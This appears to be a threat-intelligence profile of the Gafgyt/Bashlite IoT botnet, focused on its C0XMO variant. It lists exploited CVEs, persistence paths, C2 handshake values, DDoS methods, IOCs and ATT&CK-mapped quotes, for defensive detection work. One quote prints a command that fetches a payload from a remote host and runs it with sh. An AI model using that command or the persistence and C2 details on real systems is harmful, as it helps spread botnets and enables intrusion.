Gafgyt
Gafgyt, also widely referred to as Bashlite, is a Linux/IoT botnet malware family used to compromise internet-exposed embedded devices and other Linux-based systems for distributed denial-of-service activity and related botnet operations. The content describes it as part of the long-running IoT botnet ecosystem also referred to in reporting as Bashlite, Lizkebab, Torlus, Qbot, Remaiten, and related names, though Gafgyt/Bashlite is the most directly supported family name here. It commonly spreads through weak-credential brute forcing of Telnet and SSH and through exploitation of known vulnerabilities in routers, DVRs, cameras, and enterprise-facing appliances. Reported Gafgyt activity in the content includes exploitation of CVE-2021-27137 in vulnerable DD-WRT firmware, CVE-2023-1389 in TP-Link Archer AX21 routers, CVE-2018-9866 in older SonicWall GMS versions, and abuse of VMware Workspace ONE Access/Identity Manager CVE-2022-22954 to deploy Gafgyt payloads. One analyzed Bashlite infection on CCTV cameras was described as an ARM Linux variant also known as Lightaidra or GayFgt.
A detailed 2026 example in the content is the Gafgyt variant C0XMO. FortiGuard Labs reported that C0XMO exploited CVE-2021-27137, a stack buffer overflow in DD-WRT UPnP triggered via crafted SSDP M-SEARCH requests to UDP/1900, and targeted a Japanese technology firm. After compromise, the malware was downloaded into /tmp/.cache and samples were observed for multiple Linux architectures including ARM, MC68000, MIPS R3000, PowerPC, SuperH, Intel 80386, and AMD64. C0XMO established persistence by copying itself to hidden paths such as /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys, and optionally $HOME/.sys, setting mode 755, creating cron jobs every 15 minutes, appending execution commands to ~/.profile, ~/.bashrc, and ~/.bash_profile, and re-executing itself if terminated. It also killed competing malware and removed rival persistence artifacts including cron jobs, rc.local entries, init.d services, system services, and shell profile modifications.
The same C0XMO reporting states that the bot connected to C2 85[.]215[.]131[.]70 using a custom handshake containing the magic string 669787761736865726500, shared secret FS2@SA__=A23cAxs3S3@23AF@A3454DFSA0D, a BOT identifier, and trailing bytes FF FF FF FF 75. It supported heartbeat and command handling including ping, stop, scan, stopscan, and attack commands, replying with PONG to ping. The malware supported 19 DDoS methods including UDP floods, TCP floods, SYN floods, NTP amplification, Memcached amplification, ICMP floods, Ping of Death, and multiple HTTP flood variants. Its standalone Python scanner was downloaded from 217[.]160[.]125[.]125:15527, installed requests, paramiko, and beautifulsoup4, scanned ports including 23, 22, 80, 443, 8080, 5555, 5511, 5554, 4443, 81, 8000, 7547, 8081, 8443, and 8888, used blacklist.txt and failed.txt to avoid honeypots and prior failures, brute-forced Telnet and SSH, exploited multiple HTTP vulnerabilities, and abused exposed Android Debug Bridge services to compromise Android-based devices.
Other Gafgyt capabilities directly mentioned in the content include maintaining persistent C2 connections, downloading and executing Linux binaries, scanner commands for HUAWEI, GPON, D-LINK, and SONICWALL targets, BIN_UPDATE functionality to fetch updates from HTTP servers, and a BN command for Blacknurse DDoS attacks. Reporting also notes Gafgyt variants in broader botnet exploitation waves against TP-Link routers and VMware appliances, and use in DDoS campaigns observed during Russia-Ukraine conflict-related activity. The content also references Gafgyt-derived or Gafgyt-related operations such as Enemybot and Zyre/zyreBot-based AncientNET, but those are described as variants or code-sharing descendants rather than the core family itself.
High-confidence indicators and artifacts explicitly mentioned in the content include C0XMO-related infrastructure 85[.]215[.]131[.]70, 217[.]160[.]125[.]125:15527, and 176[.]100[.]37[.]91; malware paths /tmp/.cache, /tmp/.sys, /var/tmp/.sys, and /dev/shm/.sys; Fortinet detections ELF/Gafgyt.SORA!tr, ELF/Gafgyt.C0MOX!tr, and Python/Gafgyt.C0MOX!tr; and reported C0XMO hashes including 444a9d34a9f59dc7975dfabefb47d789813a4497bbac9127c4806dd816e85211, 9394666007fac4014a4641fdae150c1b969ed2bc4299876318a336fd386abf59, 450ea44da0c9d96a2e8f4d6bad34f1c35cd35743295b8cd2defa9f7a9884685d, d452f22dacab9785539484245c13e9cce58df23fc82eeef205684fcd196da20b, 20042f1efb59c99e3addf822a3e9e5a496f0b701362df038a50a32a9f504a136, 7413cbb6eab4d6b10346f71be5dd76d7cf2f4817f7776367b162f83755aefa1f, b6f835ced11059d341222eba11fff3a4672f4de47a3a4d791fad86059a2b06d4, b61a5508847a2167b737d31193dc393e92c5be2aa5141bbe4b7ea6f440fd4799, dff0edae6e8854ddd3e617054ee0bd74c696c91411f704dff60aabaec839bec9, and ea44138b9701fce1b2fe13de8f9e00681c007c9adc625edc9f507f177704c2e8.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Vulnerabilities exploited
16 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
The scanner also includes numerous HTTP-based exploits for initial access, including... AVTECH DVR Vulnerability (CVE-2025-34054, CVE-2016-15047).
The scanner also includes numerous HTTP-based exploits for initial access, including... AVTECH DVR Vulnerability (CVE-2025-34054, CVE-2016-15047).
The scanner also includes numerous HTTP-based exploits for initial access, including... GLPI htmLawed RCE (CVE-2022-35914).
The scanner also includes numerous HTTP-based exploits for initial access, including... HNAP SOAP Injection (CVE-2015-2051).
FortiGuard Labs discovered a new Gafgyt botnet variant, C0XMO, that spreads by exploiting CVE-2021-27137... The threat actor delivered the malware by exploiting CVE-2021-27137, a stack buffer overflow in the UPnP service of vulnerable DD-WRT router firmware versions.
Tracked as CVE-2023-1389, the flaw is a high-severity unauthenticated command injection problem in the locale API reachable through the TP-Link Archer AX21 web management interface. | Recently, we observed multiple attacks focusing on this year-old vulnerability, spotlighting botnets like Moobot, Miori, the Golang-based agent "AGoent," and the Gafgyt Variant.
The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS). | Some of the commands supported are described in the table below... HUAWEI: Send CVE-2017-17215.
At that time we found that IP hosting samples of Gafgyt containing an exploit for a recently disclosed SonicWall vulnerability (CVE-2018-9866) affecting older, unsupported versions of SonicWall Global Management System (GMS) (8.1 and older). | The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS).
CVE-2022-22954, a remote code execution (RCE) vulnerability due to server-side template injection in VMware Workspace ONE Access and Identity Manager, is trivial to exploit with a single HTTP request to a vulnerable device.
Botnet attacks aimed at PHP servers involved the exploitation of PHPUnit, Laravel, and ThinkPHP Framework remote code execution flaws, tracked as CVE-2017-9841, CVE-2021-3129, and CVE-2022-47945, respectively.
Widely known Internet of Things device vulnerabilities including the Spring Cloud Gateway RCE, tracked as CVE-2022-22947, the TBK DVR-4104 and DVR-4216 command injection bug, tracked as CVE-2024-3721, and an MVPower DVR misconfiguration were also abused in botnet attacks.
Widely known Internet of Things device vulnerabilities including the Spring Cloud Gateway RCE, tracked as CVE-2022-22947, the TBK DVR-4104 and DVR-4216 command injection bug, tracked as CVE-2024-3721, and an MVPower DVR misconfiguration were also abused in botnet attacks.
Botnet attacks aimed at PHP servers involved the exploitation of PHPUnit, Laravel, and ThinkPHP Framework remote code execution flaws, tracked as CVE-2017-9841, CVE-2021-3129, and CVE-2022-47945, respectively.
Botnet attacks aimed at PHP servers involved the exploitation of PHPUnit, Laravel, and ThinkPHP Framework remote code execution flaws, tracked as CVE-2017-9841, CVE-2021-3129, and CVE-2022-47945, respectively.
“...most of the malware samples are from well-known malware families like Mirai, Gafgyt and Mozi.”
CVE-2025-55182 is a CVSS 10.0 pre-authentication remote code execution vulnerability with a public Metasploit module. Exploitation requires only a single HTTP POST request... affects React Server Components... The flaw exists in how serialized data is processed, allowing an attacker to send a malicious POST request that the server deserializes and executes without authentication or user interaction.
Techniques & procedures
20 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 techniqueSurveillance cameras in shopping malls are being targeted to form a large botnet... the DDoS attack now peaked at 20,000 requests per second and originated from nearly 900 CCTV cameras running embedded versions of Linux and the BusyBox toolkit.
Initial Access
2 techniquesThe crooks made this possible because CCTV camera operators are taking a Lax approach to security and their failure to change default passwords on the devices.
The threat actor delivered the malware by exploiting CVE-2021-27137, a stack buffer overflow in the UPnP service of vulnerable DD-WRT router firmware versions.
Execution
2 techniquesThe exploit examples repeatedly inject shell commands such as `wget http://l.ocalhost.host/... -O -> /tmp/nemp; sh /tmp/nemp` across targeted devices and applications.
The malware is delivered through a stack buffer overflow in vulnerable DD-WRT router firmware, triggered by malicious SSDP M-SEARCH requests sent to UDP port 1900.
Persistence
1 techniquePrivilege Escalation
1 techniqueStealth
1 techniqueCredential Access
1 techniqueC0XMO exhibits many traits typical of Gafgyt variants, including weak-credential brute-force attacks targeting Telnet and SSH.
Discovery
3 techniquesEach botnet spreads to new hosts by scanning for vulnerable devices in order to install the malware
Continuously scans /proc/ for new processes... For each process: Checks if the binary's realpath contains .anime... Performs memory scanning of /proc/$pid/exe against signatures for known competing botnets...
The bot also actively kills competing botnet processes : mirai. sora. bot. dark. hilix. rakitin. neon. owari. aqua. boatnet. mozi.
Lateral Movement
3 techniquesCJ: I scanned the internet with a few sets of defualt logins for telnet and I was able to upload and execute a binary on 250k devices
In March, Labs identified a new Gafgyt botnet variant called C0XMO that spreads by exploiting CVE-2021-27137.
Unlike earlier variants, C0XMO uses a separate Python script for lateral movement, improving propagation across different devices and architectures.
Command and Control
2 techniquesThey use l[.]ocalhost[.]host:47883 as C2... The domain l[.]ocalhost[.]host used for C2 and to serve payloads in the Mirai variant discussed above...
After compromise, the malware was downloaded to the `/tmp/.cache` directory on the affected host.
Impact
6 techniquesissues kill(pid, 9)... unlink() the binary and kill -9 the process... This targets malware that deletes itself after execution...
Mirai , a malware strain that enslaves poorly secured Internet of Things (IoT) devices like wireless routers and security cameras into a botnet for use in large cyberattacks.
These so-called “ distributed denial-of-service ( DDoS) attacks are digital sieges in which an attacker causes thousands of hacked systems to hit a target with so much junk traffic that it falls over and remains unreachable by legitimate visitors.
In June 2014, ProxyPipe was hit with a 300 gigabit per second DDoS attack launched by lelddos... Verisign said the 2014 attack was launched by a botnet of more than 100,000 servers running on SuperMicro IPMI boards.
C0XMO supports 19 different DDoS attack methods for various scenarios, as shown in the table below.
The most common attack consisted of HTTP GET request floods originating from around 900 CCTV cameras spread around the world.
IOCs tracked for this family
100 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
39 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A botnet malware family referenced as the parent family of the C0XMO variant.
An IoT botnet family known for weak-credential brute-force attacks against Telnet and SSH, command-injection exploitation, and DDoS capabilities. C0XMO is described as a new variant of Gafgyt.
An IoT/Linux botnet family known for brute-forcing Telnet and SSH, exploiting exposed services and command-injection flaws, and conducting DDoS attacks. In this report it is the parent family of the C0XMO variant.
Bashlite is referenced as another likely IoT botnet malware family capable of being used in DDoS attacks against DNS services.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.